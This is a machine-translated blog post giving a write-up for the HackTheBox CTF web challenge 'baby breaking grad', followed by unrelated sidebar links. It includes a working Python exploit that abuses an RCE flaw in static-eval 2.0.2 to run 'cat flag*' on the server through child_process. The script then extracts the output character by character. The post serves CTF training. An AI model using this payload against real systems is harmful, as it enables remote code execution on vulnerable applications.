当前位置:网站首页>HackTheBox-baby breaking grad
HackTheBox-baby breaking grad
2022-07-04 00:58:00 【galaxy3000】
List of articles
summary
HackTheBox Website CTF shooting range Web Related topics baby breaking grad, Title address https://app.hackthebox.com/challenges/baby-breaking-grad, Main investigation AST Injected knowledge points .
subject
Title Overview
After opening the program instance , Prompt to visit 209.97.187.217:32476
, visit http://209.97.187.217:32476, See the following Web Interface
Directly select a submission to get
Download the attachment and extract it to get
Source code
stay routes In the catalog index.js in , Including different url Treatment method
It involves StudentHelper.js, Corresponding source code
StudentHelper.js Yes static-eval and esprima, stay package.json See their version in
Their thinking
You can see static-eval by 2.0.2, There is RCE Loophole , For details, please refer to https://github.com/advisories/GHSA-8v27-2fg9-7h62
Solution code
import string
import requests
url = 'http://209.97.187.217:32476/api/calculate'
flag = ''
for i, _ in enumerate(iter(bool, True)):
for chr in string.printable:
payload = "(function (x) { return `${eval(\"if(global.process.mainModule.constructor._load('child_process').execSync('cat flag*').toString().charCodeAt(" + str(i) + ") == " + str(ord(chr)) + ") {25} else {1}\")}` })()"
data = {"name": "AAA", "formula": payload}
r = requests.post(url, json=data)
if('Passed' in r.content):
flag += chr
print(flag)
if(chr == '}'):
quit()
break
Run code , obtain flag
边栏推荐
- All in one 1407: stupid monkey
- 国元证券开户是真的安全可靠吗
- Arc 135 supplementary report
- 2-redis architecture design to use scenarios - four deployment and operation modes (Part 2)
- 功能:编写函数fun求s=1^k+2^k +3^k + ......+N^k的值, (1的K次方到N的K次方的累加和)。
- 1-Redis架构设计到使用场景-四种部署运行模式(上)
- 我管你什么okr还是kpi,PPT轻松交给你
- 使用dnSpy对无源码EXE或DLL进行反编译并且修改
- leetcode 121 Best Time to Buy and Sell Stock 买卖股票的最佳时机(简单)
- Design of database table foreign key
猜你喜欢
1-redis architecture design to use scenarios - four deployment and operation modes (Part 1)
AI 助力艺术设计抄袭检索新突破!刘芳教授团队论文被多媒体顶级会议ACM MM录用
On the day when 28K joined Huawei testing post, I cried: everything I have done in these five months is worth it
How to be a professional software testing engineer? Listen to the byte five year old test
Weekly open source project recommendation plan
Cesiumjs 2022^ source code interpretation [8] - resource encapsulation and multithreading
技術實踐|線上故障分析及解决方法(上)
Unity Shader入门精要读书笔记 第三章 Unity Shader基础
The super fully automated test learning materials sorted out after a long talk with a Tencent eight year old test all night! (full of dry goods
What is the GPM scheduler for go?
随机推荐
Att & CK actual combat series - red team actual combat - V
Global and Chinese market of underwater bags 2022-2028: Research Report on technology, participants, trends, market size and share
Oracle database knowledge points that cannot be learned (II)
How to be a professional software testing engineer? Listen to the byte five year old test
The culprit of unrestrained consumption -- Summary
What is the GPM scheduler for go?
2-Redis架构设计到使用场景-四种部署运行模式(下)
在寻求人类智能AI的过程中,Meta将赌注押向了自监督学习
不得不会的Oracle数据库知识点(三)
What is regression testing? Talk about regression testing in the eyes of Ali Test Engineers
Day05 表格
Five high-frequency questions were selected from the 200 questions raised by 3000 test engineers
2022 Software Test Engineer skill list, please check
Interview script of Software Test Engineer
AI 助力艺术设计抄袭检索新突破!刘芳教授团队论文被多媒体顶级会议ACM MM录用
HR disgusted interview behavior
mysql使用视图报错,EXPLAIN/SHOW can not be issued; lacking privileges for underlying table
Introduction to unity shader essentials reading notes Chapter III unity shader Foundation
数据库表外键的设计
Why use get/set instead of exposing properties